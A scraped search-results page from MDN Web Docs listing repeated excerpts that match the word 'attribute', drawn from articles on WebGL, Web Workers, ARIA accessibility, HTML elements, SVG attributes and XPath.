attribute to determine the shader type. once all of the shaders are compiled, the program is linked using gl.linkprogram(). if an error occurrs while linking the program, the error message is logged to console. finally, the compiled program is returned to the caller. compiling an individual shader the compileshader() function, below, is called by buildshaderprogram() to compile a single shader. func...
...And 3 more matches
Using textures in WebGL - Web APIs
set up the texture mapping array, we pass the array into the buffer, so that webgl has that data ready for its use. updating the shaders the shader program also needs to be updated to use the textures instead of solid colors. the vertex shader we need to replace the vertex shader so that instead of fetching color data, it instead fetches the texture coordinate data. ...
...e pass the array into the buffer, so that webgl has that data ready for its use. updating the shaders the shader program also needs to be updated to use the textures instead of solid colors. the vertex shader we need to replace the vertex shader so that instead of fetching color data, it instead fetches the texture coordinate data. ...
...highp vec2 vtexturecoord; uniform sampler2d usampler; void main(void) { gl_fragcolor = texture2d(usampler, vtexturecoord); } `; instead of assigning a color value to the fragment's color, the fragment's color is computed by fetching the texel (that is, the pixel within the texture) based on the value of vtexturecoord which like the colors is interpolated bewteen vertices. ...
...And 3 more matches
Using Web Workers - Web APIs
once created, a worker can send messages to the javascript code that created it by posting messages to an event handler specified by that code (and vice versa). this article provides a detailed introduction to using web workers. ...
...nder window, including websockets, and data storage mechanisms like indexeddb. see functions and classes available to workers for more details. data is sent between workers and the main thread via a system of messages — both sides send their messages using the postmessage() method, and respond to messages via the onmessage event handler (the message is contained within the message event's data
attribute.) the data is copied rather than shared. workers may, in turn, spawn new workers, as long as those workers are hosted within the same origin as the parent page. in addition, workers may use xmlhttprequest for network i/o, with the exception that the responsexml and channel
attributes on xmlhttprequest always return null. dedicated workers as mentioned above, a dedicated worker is only accessib...
...ock like this (worker.js): onmessage = function(e) { console.log('message received from main script'); var workerresult = 'result: ' + (e.data[0] * e.data[1]); console.log('posting message back to main script'); postmessage(workerresult); } the onmessage handler allows us to run some code whenever a message is received, with the message itself being available in the message event's data
attribute. here we simply multiply together the two numbers then use postmessage() again, to post the result back to the main thread. back in the main thread, we use onmessage again, to respond to the message sent back from the worker: myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); } here we grab the message event data and set it as the t...
...And 3 more matches
ARIA Test Cases - Accessibility
upon activation. - - - voiceover (leopard) n/a n/a - fail window-eyes - - - - nvda - n/a - - zoom (leopard) pass n/a pass pass zoomtext - - - - orca - - - - checkbox simple checkbox testcases: set aria-checked="false" for unchecked both remove or set
attribute for unchecked case -- also includes an invalid and required checkbox hierarchical (newly added test not in test results yet) dojo nightly build expected at behavior: screen reader should speak the accessible name followed by both the type being checkbox and the state (checked, unchecked). when pressing space, new state should be announced automatically. markup used: role="checkbox" a...
...erarchical (newly added test not in test results yet) dojo nightly build expected at behavior: screen reader should speak the accessible name followed by both the type being checkbox and the state (checked, unchecked). when pressing space, new state should be announced automatically. ...
... is removed instead of set to false results: at firefox ie opera safari jaws 9 - - n/a n/a jaws 10 pass fail (changes not spoken) fail fail voiceover (leopard) n/a n/a - fail window-eyes pass pass fail (unchecked presented as checked, ie exposing incorrect state for no aria-checked
attribute) fail fail nvda fail on #2 -- repetitive text spoken, first checkbox toggle speaks incorrect state n/a fail fail zoom (leopard) pass n/a pass pass zoomtext pass - fail fail orca pass n/a - - tristate checkbox testcases: both remove or unset for unchecked case expected at behavior: sc...
...And 3 more matches
ARIA: table role - Accessibility
the table value of the aria role
attribute identifies the element containing the role as having a non-interactive table structure containing data arranged in rows and columns, similar to the native <table> html element. <div role="table" aria-label="semantic elements" aria-describedby="semantic_elements_table_desc" aria-rowcount="81"> <div id="semantic_elements_table_desc">semantic elements to use instead of aria's roles</div> <div role="rowgroup"> <div role="row"> <span role="columnheader" aria-sort="none">aria role</span> <span role="columnheader" aria-sort="none">semantic element</span> </div> </div> <div role="rowgroup"> <div role="row" aria-rowindex="11"> <span role="cell">header</span> <span role="cell">h1</span> </div> <div role="row" ari...
...r columnheader, rowheader, or simply cell. rows can be children of the table or within a rowgroup. the table caption can be defined via aria-labelledby or aria-label. all other semantic table elements, such as <tbody>, <thead>, <tr>, <th>, and <td> need to be added via associated roles, such as rowgroup, row, columnheader, and cell. if the table contains sortable columns or rows, the aria-sort
attribute should be added on the header cell element (not the table itself). if any rows or columns are hidden, the aria-colcount or aria-rowcount should be included indicating the total number of columns or rows, respectively, along with the aria-colindex or aria-rowindex on each cell. the aria-colindex or aria-rowindex is set to the position of a cell within the row or column, respectively. if the table ...
...aria-colindex or aria-rowindex on each cell. the aria-colindex or aria-rowindex is set to the position of a cell within the row or column, respectively. if the table includes cells that span multiple rows or multiple columns, then aria-rowspan or aria-colspan should be included as well. realize, it is much simpler to simply use the <table> element, along with all the related semantic elements and
attributes that are all supported by all assistive technologies. to create an interactive widget that has a tabular structure, use the grid pattern instead. if the interaction provides for the selection state of individual cells, if left to right and top to bottom navigation is provided, or if the user interface allows the rearranging of cell order or otherwise changing individual cell order such as throu...
...And 3 more matches
ARIA: heading role - Accessibility
the heading role defines this element as a heading to a page or section. to give the page more structure, a level should also be provided to indicate relationships between sections. <div role="heading" aria-level="1">this is a main page heading</div> this defines the text in the div to be the main heading of the page, indicated by being level 1 via the aria-level
attribute. description the heading role indicates to assistive technologies that this element should be treated like a heading. screen readers would read the text and indicate that it is formatted like a heading. in addition, the level tells assistive technologies which part of the page structure this heading represents. a level 1 heading usually indicates the main heading of a page, a level 2 heading the first subsection, ...
...the text and indicate that it is formatted like a heading. in addition, the level tells assistive technologies which part of the page structure this heading represents. a level 1 heading usually indicates the main heading of a page, a level 2 heading the first subsection, a level 3 is a subsection of that, and so on. associated wai-aria roles, states, and properties aria-level the aria-level
attribute specifies the heading level in the document structure. if no level is present, a value of 2 is the default. keyboard interactions this role does not require any special keyboard navigation. as with any heading, giving it an id ensures it can be referenced from anchor links, making it accessible via the keyboard. required javascript features required event handlers none. changing attribut...
...actions this role does not require any special keyboard navigation. as with any heading, giving it an id ensures it can be referenced from anchor links, making it accessible via the keyboard. required javascript features required event handlers none. changing
attribute values usually not required, unless dynamically inserting content. in that case, the newly-added headings need aria-level
attributes whose values are consistent with the rest of the document structure. instead of using a <div> or <span> with a heading role and aria-level, consider using a native <h1> through <h6> element instead to indicate that this text is a heading, and what part of the structure it represents. examples the following shows a typical page structure. <div id="container"> <div role="heading" aria-level...
...And 3 more matches
Alerts - Accessibility
alidations consists of several steps: checking if the e-mail address or entered name are valid. each field has a set of criteria which must be met in order to pass validation. in order to simplify this example, we’ll check whether the e-mail address contains the “@” symbol, and if the name entry contains at least 1 character. if the above criteria is not met, the field’s aria-invalid
attribute will be given a value of “true”. if the criteria was not met, the user will be notified via an alert. instead of using the javascript ‘alert’ function, we’ll use a simple wai-aria widget for notification. this notifies the user of the error, but allows for them continue modifying the form without losing focus (caused by the “onblur” handler in javascript's default ‘alert’ funct...
.... ...
...could be inserted above the closing “head” tag: <script type="application/javascript"> function removeoldalert() { var oldalert = document.getelementbyid("alert"); if (oldalert){ document.body.removechild(oldalert); } } function addalert(amsg) { removeoldalert(); var newalert = document.createelement("div"); newalert.set
attribute("role", "alert"); newalert.set
attribute("id", "alert"); var msg = document.createtextnode(amsg); newalert.appendchild(msg); document.body.appendchild(newalert); } function checkvalidity(aid, asearchterm, amsg) { var elem = document.getelementbyid(aid); var invalid = (elem.value.indexof(asearchterm) < 0); if (invalid) { elem.set
attribute("aria-invalid", "true"); addalert(amsg); } else { elem.setat...
...And 3 more matches
Keyboard - Accessibility
exception to this rule is if the element has role="document" applied to it, inside an interactive context (such as role="application"). in such a case, focusing the nested document is the only way of returning assistive technology to a non-interactive state (often called "browse mode"). ...
...assistive technology to a non-interactive state (often called "browse mode"). most interactive elements are focusable by default; you can make an element focusable by adding a tabindex=0
attribute value to it. however, you should only add tabindex if you have also made the element interactive, for example, by defining appropriate event handlers keyboard events. see also tabindex global html
attribute global event handlers: onkeydown global event handlers: onkeyup avoid using tabindex
attribute greater than zero the tabindex
attribute indicates that an element is focusable using the keyboard. a value of zero indicates that the element is part of the default focus order, which is based on the ordering of elements in the html document. a positive value puts the element ahead of those in the...
... values are focused in the order of their tabindex values (1, then 2, then 3, etc.). this creates confusion for keyboard-only users when the focus order differs from the logical order of the page. a better strategy is to structure the html document so that focusable elements are in a logical order, without the need to re-order them with positive tabindex values. see also tabindex global html
attribute understanding focus order don't use tabindex greater than 0 clickable elements must be focusable and should have interactive semantics if an element can be clicked with a pointing device, such as a mouse, then it should also be focusable using the keyboard, and the user should be able to do something by interacting with it. an element is clickable if it has an onclick event handler defined.
...And 3 more matches
Border-radius generator - CSS: Cascading Style Sheets
moz-user-select: text; -webkit-user-select: text; -ms-user-select: text; user-select: text; float: right; } javascript content 'use strict'; /** * ui-inputslidermanager */ var inputslidermanager = (function inputslidermanager() { var subscribers = {}; var sliders = []; var inputcomponent = function inputcomponent(obj) { var input = document.createelement('input'); input.set
attribute('type', 'text'); input.addeventlistener('click', function(e) { this.select(); }); input.addeventlistener('change', function(e) { var value = parseint(e.target.value); if (isnan(value) === true) setvalue(obj.topic, obj.value); else setvalue(obj.topic, value); }); subscribe(obj.topic, function(value) { input.value = value + obj.unit; }); return input; } ...
...lidermotion); document.body.style.cursor = "auto"; slider.style.cursor = "pointer"; }); var slidermotion = function slidermotion(e) { slider.style.cursor = "e-resize"; var delta = (e.clientx - startx) / obj.sensivity | 0; var value = delta * obj.step + start_value; setvalue(obj.topic, value); } return slider; } var inputslider = function(node) { var min = node.get
attribute('data-min') | 0; var max = node.get
attribute('data-max') | 0; var step = node.get
attribute('data-step') | 0; var value = node.get
attribute('data-value') | 0; var topic = node.get
attribute('data-topic'); var unit = node.get
attribute('data-unit'); var name = node.get
attribute('data-info'); var sensivity = node.get
attribute('data-sensivity') | 0; this.min = min; this.max = max >...
...ssname = 'ui-input-slider ui-input-slider-container'; this.input = input; sliders[topic] = this; setvalue(topic, value); } var setvalue = function setvalue(topic, value, send_notify) { var slider = sliders[topic]; if (slider === undefined) return; if (value > slider.max) value = slider.max; if (value < slider.min) value = slider.min; slider.value = value; slider.node.set
attribute('data-value', value); if (send_notify !== undefined && send_notify === false) { slider.input.value = value + slider.unit; return; } notify.call(slider); } var setmax = function setmax(topic, value) { var slider = sliders[topic]; if (slider === undefined) return; slider.max = value; setvalue(topic, slider.value); } var setmin = function setmin(topic, value) { var ...
...And 3 more matches
Variable fonts guide - CSS: Cascading Style Sheets
or on). as defined in the specification, there are two kinds of axes: registered and custom: registered axes are simply those that are most frequently encountered, and common enough that the authors of the specification felt it was worth standardizing. the five currently registered axes are weight, width, slant, italic, and optical size. the w3c has undertaken mapping them to existing css
attributes, and in one case introduced a new one, which you'll see below. custom axes are in fact limitless: the typeface designer can define and scope any axis they like, and are just required to give it a four-letter tag to identify it within the font file format itself. you can use these four-letter tags in css to specify a point along that axis of variation, as will be show in the code examples b...
...ich you'll see below. custom axes are in fact limitless: the typeface designer can define and scope any axis they like, and are just required to give it a four-letter tag to identify it within the font file format itself. you can use these four-letter tags in css to specify a point along that axis of variation, as will be show in the code examples below. registered axes and existing css
attributes in this section we'll demonstrate the five registered axes defined with examples and the corresponding css. where possible, both the standard and lower-level syntax are included. the lower-level syntax (font-variation-settings) was the first mechanism implemented in order to test the early implementations of variable font support, and is necessary to utilize new or custom axes beyond the five r...
...e corresponding css. where possible, both the standard and lower-level syntax are included. the lower-level syntax (font-variation-settings) was the first mechanism implemented in order to test the early implementations of variable font support, and is necessary to utilize new or custom axes beyond the five registered ones. however, the w3c’s intent was for this syntax not to be used when other
attributes are available. therefore wherever possible, the appropriate property should be used, with the lower-level syntax of font-variation-settings only being used to set values or axes not available otherwise. notes when using font-variation-settings it is important to note that axis names are case-sensitive. the registered axis names must be in lower case, and custom axes must be in upper case.
...And 3 more matches
WAI ARIA Live Regions/API Support - Developer guides
followed immediately by ia2_event_text_inserted * we do not use msaa's create/destroy at the request of screen reader vendors, who avoid those events because they cause crashes on some important system -- show/hide are the equivalent of those events. ...
...ader vendors, who avoid those events because they cause crashes on some important system -- show/hide are the equivalent of those events. ...
... aria-relevant on ancestor element container-busy "true" | "false" | "error" "false" the current changes are not yet complete. a state change event for the a11y api's busy state will be fired on the container object currently marked as busy, once it is no longer busy. this is es...
...And 3 more matches
<abbr>: The Abbreviation element - HTML: Hypertext Markup Language
if present, title must contain this full description and nothing else. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content, palpable content permitted content phrasing content tag omission none, both the starting and ending tag are mandatory. ...
...ent categories flow content, phrasing content, palpable content permitted content phrasing content tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content implicit aria role no corresponding role permitted aria roles any dom interface htmlelement
attributes this element only supports the global
attributes. the title
attribute has a specific semantic meaning when used with the <abbr> element; it must contain a full human-readable description or expansion of the abbreviation. this text is often presented by browsers as a tooltip when the mouse cursor is hovered over the element. each <abbr> element you use is independent from all others; providing ...
... required that all abbreviations be marked up using <abbr>. there are, though, a few cases where it's helpful to do so: when an abbreviation is used and you want to provide an expansion or definition outside the flow of the document's content, use <abbr> with an appropriate title. to define an abbreviation which may be unfamiliar to the reader, present the term using <abbr> and either a title
attribute or inline text providing the definition. when an abbreviation's presence in the text needs to be semantically noted, the <abbr> element is useful. this can be used, in turn, for styling or scripting purposes. you can use <abbr> in concert with <dfn> to establish definitions for terms which are abbreviations or acronyms. see the example defining an abbreviation below. grammar considerations i...
...And 3 more matches
<input type="button"> - HTML: Hypertext Markup Language
equest. note: while <input> elements of type button are still perfectly valid html, the newer <button> element is now the favored way to create buttons. given that a <button>’s label text is inserted between the opening and closing tags, you can include html in the label, even images. value a domstring used as the button's label events click supported common
attributes type, and value idl
attributes value methods none value an <input type="button"> elements' value
attribute contains a domstring that is used as the button's label. <input type="button" value="click me"> if you don't specify a value, you get an empty button: <input type="button"> using buttons <input type="button"> elements have no default behavior ...
...h a function that will be run when click events occur on the button. adding keyboard shortcuts to buttons keyboard shortcuts, also known as access keys and keyboard equivalents, let the user trigger a button using a key or combination of keys on the keyboard. to add a keyboard shortcut to a button — just as you would with any <input> for which it makes sense — you use the accesskey global
attribute. in this example, s is specified as the access key (you'll need to press s plus the particular modifier keys for your browser/os combination; see accesskey for a useful list of those). <form> <input type="button" value="start machine" accesskey="s"> </form> <p>the machine is stopped.</p> const button = document.queryselector('input'); const paragraph = document.queryselector('p'); butto...
... with the above example of course is that the user will not know what the access key is! in a real site, you'd have to provide this information in a way that doesn't intefere with the site design (for example by providing an easily accessible link that points to information on what the site accesskeys are). disabling and enabling a button to disable a button, simply specify the disabled global
attribute on it, like so: <input type="button" value="disable me" disabled> you can enable and disable buttons at run time by simply setting disabled to true or false. in this example our button starts off enabled, but if you press it, it is disabled using button.disabled = true. a settimeout() function is then used to reset the button back to its enabled state after two seconds. hidden code 1 <inpu...
...And 3 more matches
<label> - HTML: Hypertext Markup Language
g it easier for an assistive technology user to understand what data should be entered. you can click the associated label to focus/activate the input, as well as the input itself. this increased hit area provides an advantage to anyone trying to activate the input, including those using a touch-screen device. to associate the <label> with an <input> element, you need to give the <input> an id
attribute. ...
...user to understand what data should be entered. you can click the associated label to focus/activate the input, as well as the input itself. this increased hit area provides an advantage to anyone trying to activate the input, including those using a touch-screen device. to associate the <label> with an <input> element, you need to give the <input> an id
attribute. the <label> then needs a for
attribute whose value is the same as the input's id. alternatively, you can nest the <input> directly inside the <label>, in which case the for and id
attributes are not needed because the association is implicit: <label>do you like peas? <input type="checkbox" name="peas"> </label> other usage notes: the form control that the label is labeling is called the labeled control of the label element. o...
...licit: <label>do you like peas? <input type="checkbox" name="peas"> </label> other usage notes: the form control that the label is labeling is called the labeled control of the label element. one input can be associated with multiple labels. when a <label> is clicked or tapped and it is associated with a form control, the resulting click event is also raised for the associated control.
attributes this element includes the global
attributes. for the id of a labelable form-related element in the same document as the <label> element. the first element in the document with an id matching the value of the for
attribute is the labeled control for this label element, if it is a labelable element. if it is not labelable then the for
attribute has no effect. if there are other elements which...
...And 3 more matches
<menuitem> - HTML: Hypertext Markup Language
boxes or radio buttons when defined against elements <input type="checkbox"> and <input type="radio">.) content categories none. permitted content none, it is an empty element. tag omission must have a start tag and must not have an end tag. permitted parents the <menu> element, where that element is in the popup menu state. ...
...ave a start tag and must not have an end tag. permitted parents the <menu> element, where that element is in the popup menu state. (if specified, the type
attribute of the <menu> element must be popup; if missing, the parent element of the <menu> must itself be a <menu> in the popup menu state.) permitted aria roles none dom interface htmlmenuitemelement
attributes this element includes the global
attributes; in particular title can be used to describe the command, or provide usage hints. checked boolean
attribute which indicates whether the command is selected. may only be used when the type
attribute is checkbox or radio. command specifies the id of a separate element, indicating a command to be invoked indirectly. may not be used within a menu it...
...he global
attributes; in particular title can be used to describe the command, or provide usage hints. checked boolean
attribute which indicates whether the command is selected. may only be used when the type
attribute is checkbox or radio. command specifies the id of a separate element, indicating a command to be invoked indirectly. may not be used within a menu item that also includes the
attributes checked, disabled, icon, label, radiogroup or type. default this boolean
attribute indicates use of the same command as the menu's subject element (such as a button or input). disabled boolean
attribute which indicates that the command is not available in the current state. ...
...And 3 more matches
<track>: The Embed Text Track element - HTML: Hypertext Markup Language
permitted content none, it is an empty element. tag omission as it is a void element, the start tag must be present and the end tag must not be present. permitted parents a media element, <audio> or <video>. ...
...lement. tag omission as it is a void element, the start tag must be present and the end tag must not be present. permitted parents a media element, <audio> or <video>. implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmltrackelement
attributes this element includes the global
attributes. ...
... as it is a void element, the start tag must be present and the end tag must not be present. permitted parents a media element, <audio> or <video>. implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmltrackelement
attributes this element includes the global
attributes. ...
...And 3 more matches
hidden - HTML: Hypertext Markup Language
if something is marked hidden, it is hidden from all presentations, including, for instance, screen readers. ...
...if something is marked hidden, it is hidden from all presentations, including, for instance, screen readers. ...
...if something is marked hidden, it is hidden from all presentations, including, for instance, screen readers. ...
...And 3 more matches
HTML: Hypertext Markup Language
more about html. html introduction if you're new to web development, be sure to read our html basics article to learn what html is and how to use it. html tutorials for articles about how to use html, as well as tutorials and complete examples, check out our html learning area. html reference in our extensive html reference section, you'll find the details about every element and
attribute in html. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started beginner's tutorials our html learning area features multiple modules that teach html from the ground up — no previous knowledge required. introduction to html this module sets the stage, getting you used ...
...more. this module gets you started with creating the client-side/front-end parts of forms. use html to solve common problems provides links to sections of content explaining how to use html to solve very common problems when creating a web page: dealing with titles, adding images or videos, emphasizing content, creating a basic form, etc. ...
...a web page: dealing with titles, adding images or videos, emphasizing content, creating a basic form, etc. advanced topics cors enabled image the crossorigin
attribute, in combination with an appropriate cors header, allows images defined by the <img> element to be loaded from foreign origins and used in a <canvas> element as if they were being loaded from the current origin. cors settings
attributes some html elements that provide support for cors, such as <img> or <video>, have a crossorigin
attribute (crossorigin property), which lets you configure the cors requests for the element's fetched data. ...
...And 3 more matches
<mo> - MathML
the mathml <mo> element represents an operator in a broad sense. besides operators in strict mathematical meaning, this element also includes "operators" like parentheses, separators like comma and semicolon, or "absolute value" bars.
attributes accent if the operator is used as an under- or overscript this
attribute specifies whether the operator should be treated as an accent. allowed values are true or false. class, id, style provided for use with stylesheets. dir the text direction. possible values are either ltr (left to right) or rtl (right to left). fence there is no visual effect for this
attribute, but it specifies whether the operator is a fence (such as parentheses). allowed values are true or false. form specifies the role of the operator in an enclosed expression, which...
... possible values are: prefix, for opening fences. (it is the default value if the operator is the first argument in a <mrow> element with more than one argument.) infix, for separators. (it is the default value if the operator is not included in a <mrow> element.) postfix, closing fences. ...
...nits). the constant thickmathspace (5/18em) is the default value. mathbackground the background color. you can use #rgb, #rrggbb and html color names. mathcolor the text color. you can use #rgb, #rrggbb and html color names. mathsize the size of the content. see length for possible values. deprecated values are: small, normal and big. these will be removed in the future. mathvariant this
attribute specifies the logical class of the operator which varies in typography. that is, although the names suggest the typographic style for the class, semantically, items with the same class are treated "the same" within an expression, which might or might not involve displaying them with the named typography. the following values are allowed: normal (default value) ; example bold ; example ita...
...And 3 more matches
end - SVG: Scalable Vector Graphics
each value can be one of the following: <offset-value> this value defines a clock-value that represents a point in time relative to the beginning of the svg document (usually the load or domcontentloaded event). negative values are valid. <syncbase-value> this value defines a syncbase and an optional offset from that syncbase. ...
...ime syntax is based upon the syntax defined in iso 8601. indefinite the end of the animation will be determined by an svganimationelement.endelement() method call. ...
...upon the syntax defined in iso 8601. indefinite the end of the animation will be determined by an svganimationelement.endelement() method call. ...
...And 3 more matches
gradientUnits - SVG: Scalable Vector Graphics
the gradientunits
attribute defines the coordinate system used for
attributes specified on the gradient elements. two elements are using this
attribute: <lineargradient> and <radialgradient> lineargradient for <lineargradient>, gradientunits defines the coordinate system used for the
attributes x1, y1, x2, and y2. ...
...ient elements. two elements are using this
attribute: <lineargradient> and <radialgradient> lineargradient for <lineargradient>, gradientunits defines the coordinate system used for the
attributes x1, y1, x2, and y2. value userspaceonuse | objectboundingbox default value objectboundingbox animatable yes userspaceonuse this value indicates that the
attributes represent values in the coordinate system that results from taking the current user coordinate system in place at the time when the gradient element is referenced (i.e., the user coordinate system for the element referencing the gradient element via a fill or stroke property) and then applying the transform specified by
attribute gradienttransform. percentages represent values relative to the c...
...m in place at the time when the gradient element is referenced (i.e., the user coordinate system for the element referencing the gradient element via a fill or stroke property) and then applying the transform specified by
attribute gradienttransform. percentages represent values relative to the current svg viewport. objectboundingbox this value indicates that the user coordinate system for the
attributes is established using the bounding box of the element to which the gradient is applied and then applying the transform specified by
attribute gradienttransform. percentages represent values relative to the bounding box for the object. with this value and gradienttransform being the identity matrix, the normal of the linear gradient is perpendicular to the gradient vector in object bounding box ...
...And 3 more matches
repeatCount - SVG: Scalable Vector Graphics
the repeatcount
attribute indicates the number of times an animation will take place. ...
... the repeatcount
attribute indicates the number of times an animation will take place. ...
... the repeatcount
attribute indicates the number of times an animation will take place. ...
...And 3 more matches
repeatDur - SVG: Scalable Vector Graphics
the repeatdur
attribute specifies the total duration for repeating an animation. ...
... the repeatdur
attribute specifies the total duration for repeating an animation. ...
... the repeatdur
attribute specifies the total duration for repeating an animation. ...
...And 3 more matches
<animate> - SVG: Scalable Vector Graphics
the svg <animate> element provides a way to animate an
attribute of an element over time. ...
... the svg <animate> element provides a way to animate an
attribute of an element over time. ...
... the svg <animate> element provides a way to animate an
attribute of an element over time. ...
...And 3 more matches
<clipPath> - SVG: Scalable Vector Graphics
d element (meaning, an element which references a <clippath> element via a clip-path property, or a child of the referencing element) must remain the same as if it were not clipped. by default, pointer-events are not dispatched on clipped regions. for example, a circle with a radius of 10 which is clipped to a circle with a radius of 5 will not receive "click" events outside the smaller radius. ...
...ts are not dispatched on clipped regions. for example, a circle with a radius of 10 which is clipped to a circle with a radius of 5 will not receive "click" events outside the smaller radius.
attributes clippathunits defines the coordinate system for the contents of the <clippath> element. ...
...ed on clipped regions. for example, a circle with a radius of 10 which is clipped to a circle with a radius of 5 will not receive "click" events outside the smaller radius.
attributes clippathunits defines the coordinate system for the contents of the <clippath> element. ...
...And 3 more matches
<feComposite> - SVG: Scalable Vector Graphics
output from the <fediffuselighting> and <fespecularlighting> filters with texture data. ...
... example svg <svg width="330" height="195" viewbox="0 0 1100 650" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.
... example svg <svg width="330" height="195" viewbox="0 0 1100 650" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">...
...And 3 more matches
<feConvolveMatrix> - SVG: Scalable Vector Graphics
note in the above formulas that the values in the kernel matrix are applie...
... note in the above formulas that the values in the kernel matrix are applied such that the kernel matrix is rotated 180 degrees relative t...
... note in the above formulas that the values in the kernel matrix are applied such that the kernel matrix is rotated 180 degrees relative to the source and destination images in order to match convoluti...
...And 3 more matches
<view> - SVG: Scalable Vector Graphics
a view is a defined way to view the image, like a zoom level or a detail view. ...
... a view is a defined way to view the image, like a zoom level or a detail view. ...
... a view is a defined way to view the image, like a zoom level or a detail view. ...
...And 3 more matches
Patterns - SVG: Scalable Vector Graphics
ing any of the styles you've learned before, including gradients and opacity. here, we've just drawn two rectangle elements inside the pattern (which overlap, and one of which is twice the size of the other and is used to fill in the entire pattern), and one circle. the confusing thing about patterns is defining a unit system and their size. ...
...ern (which overlap, and one of which is twice the size of the other and is used to fill in the entire pattern), and one circle. the confusing thing about patterns is defining a unit system and their size. in the example above, we've defined a width and height
attribute on the pattern element to describe how far the pattern should go before it begins repeating itself again. there are also x and y
attributes available if you want to offset the start point of this rectangle somewhere within your drawing. the reason they've been used here is described below. as with the gradientunits
attribute used above, patterns also have an
attribute, patternunits, which specifies the units that these
attributes will take. it defaults to "objectboundingbox" as it did above, so a value of 1 is scaled to the width/h...
... will take. it defaults to "objectboundingbox" as it did above, so a value of 1 is scaled to the width/height of the object you're applying the pattern to. since, in this case, we wanted the pattern to repeat 4 times horizontally and vertically, the height and width are set to 0.25. this means the pattern's width/height is only 0.25 of the total box size. ...
...And 3 more matches
SVG In HTML Introduction - SVG: Scalable Vector Graphics
same way you would script regular html. ...
...on the page is mainly regular html, css and javascript. the only interesting part is the <svg> element it contains. this element and its children are declared to be in the svg namespace. the element contains a gradient and two shapes filled with the gradient. the gradient color stops have their colors set by css. when the user enters something incorrect into the form, the script sets the invalid
attribute on the <body>, and a style rule changes the gradient end-stop color to red. (another style rule makes an error message appear.) this approach has the following points in its favor: we have taken a regular html form that could have been part of an existing web site, and added an attractive, interactive background the approach is backwards compatible to browsers that do not support svg; simply...
...in this case our picture is laid out in a 100 by 100 viewport. the p...
...And 3 more matches
SVG fonts - SVG: Scalable Vector Graphics
"500"> <font-face-src> <font-face-name name="super sans bold"/> </font-face-src> </font-face> <missing-glyph><path d="m0,0h200v200h-200z"/></missing-glyph> <glyph unicode="!" horiz-adv-x="300"><!-- outline of exclam. pt. glyph --></glyph> <glyph unicode="@"><!-- outline of @ glyph --></glyph> <!-- more glyphs --> </font> we start with the <font> element. this bears an id
attribute, to enable it to be referenced via a uri (see below). the horiz-adv-x
attribute determines how wide a character is on average compared to the path definitions of the single glyphs. the value 1000 sets a reasonable value to work with. there are several accompanying
attributes that help further define the basic glyph-box layout. the <font-face> element is the svg equivalent of the css @font-face d...
...hat help further define the basic glyph-box layout. the <font-face> element is the svg equivalent of the css @font-face declaration. it defines basic properties of the final font such as weight, style, etc. in the example above the first and most important to be defined is font-family, the value of which can then be referenced in css and svg font-family properties. the font-weight and font-style
attributes have the same purpose as the equivalent descriptors in css. all following
attributes are rendering instructions for the font layout engine, for example, how much of the glyphs' overall heights are ascenders. its child, the <font-face-src> element, corresponds to css' src descriptor in @font-face declarations. you can point to external sources for font declarations by means of its children <font...
...wing <font-face-src> is a <missing-glyph> element. this defines what should be displayed if a certain glyph is not found in the font and if there are no fallback mechanisms. it also shows how glyphs are created: by simply adding any graphical svg content inside. you can use literally any other svg elements in here, even <filter>, <a> or <script>. for simple glyphs, however, you can simply add a d
attribute — this defines a shape for the glyph exactly like how standard svg paths work. the actual glyphs are then defined by <glyph> elements. the most important
attribute is unicode. it defines the unicode codepoint represented by this glyph. if you also specify the lang
attribute on a glyph, you can further restrict it to certain languages (represented by xml:lang on the target) exclusively. again, ...
...And 3 more matches
Texts - SVG: Scalable Vector Graphics
e inclusion and display of text in an image, and the other are svg fonts. the latter may be described in a later section of the tutorial, while we will focus completely on the first part: bringing text into an svg image. basics we have seen in the introducing example, that the text element can be used to put arbitrary text in svg documents: <text x="10" y="10">hello world!</text> the x and y
attributes determine, where in the viewport the text will appear. the
attribute text-anchor, which can have the values "start", "middle", "end" or "inherit", decides in which direction the text flows from this point. the
attribute dominant-baseline decides the vertical alignment. like with the shape elements text can be colorized with the fill
attribute and given a stroke with the stroke
attribute. both m...
...ant-baseline decides the vertical alignment. like with the shape elements text can be colorized with the fill
attribute and given a stroke with the stroke
attribute. both may also refer to gradients or patterns, which makes simple coloring text in svg very powerful compared to css 2.1. setting font properties an essential part of a text is the font in which it is displayed. svg offers a set of
attributes, many similar to their css counterparts, to enable font selection. each of the following properties can be set as an
attribute or via a css declaration: font-family, font-style, font-weight, font-variant, font-stretch, font-size, font-size-adjust, kerning, letter-spacing, word-spacing and text-decoration. other text-related elements tspan this element is used to mark up sub-portions of a larg...
... dx start drawing the text with a horizontal offset dx from the default current position. here, too, you may provide a list of values that are applied to con...
...And 3 more matches
Introduction to using XPath in JavaScript - XPath
works well for dynamic xpath expressions where the namespaces might not be known), involves referring to a particular element using a form such as [namespace-uri()='http://www.w3.org/1999/xhtml' and name()='p' and @id='_myid']. this circumvents the problem of an xpath query not being able to detect the default namespace on a regularly labeled element. getting specifically namespaced elements and
attributes regardless of prefix if one wishes to provide flexibility in namespaces (as they are intended) by not necessarily requiring a particular prefix to be used when finding a namespaced element or
attribute, one must use special techniques. while one can adapt the approach in the above section to test for namespaced elements regardless of the prefix chosen (using local-name() in combination with na...
...efix to be used when finding a namespaced element or
attribute, one must use special techniques. while one can adapt the approach in the above section to test for namespaced elements regardless of the prefix chosen (using local-name() in combination with namespace-uri() instead of name()), a more challenging situation occurs, however, if one wishes to grab an element with a particular namespaced
attribute in a predicate (given the absence of implementation-independent variables in xpath 1.0). ...
...ments regardless of the prefix chosen (using local-name() in combination with namespace-uri() instead of name()), a more challenging situation occurs, however, if one wishes to grab an element with a particular namespaced
attribute in a predicate (given the absence of implementation-independent variables in xpath 1.0). ...
...And 3 more matches
Localization - Archive of obsolete content
contains this: hello_id= bonjour ! now whenever your javascript or html asks the localization system for the translation of the hello_id identifier, it will get the correct translation for the current locale. using localized strings in html this example uses the action button api, which is only available from firefox 29 onwards. ...
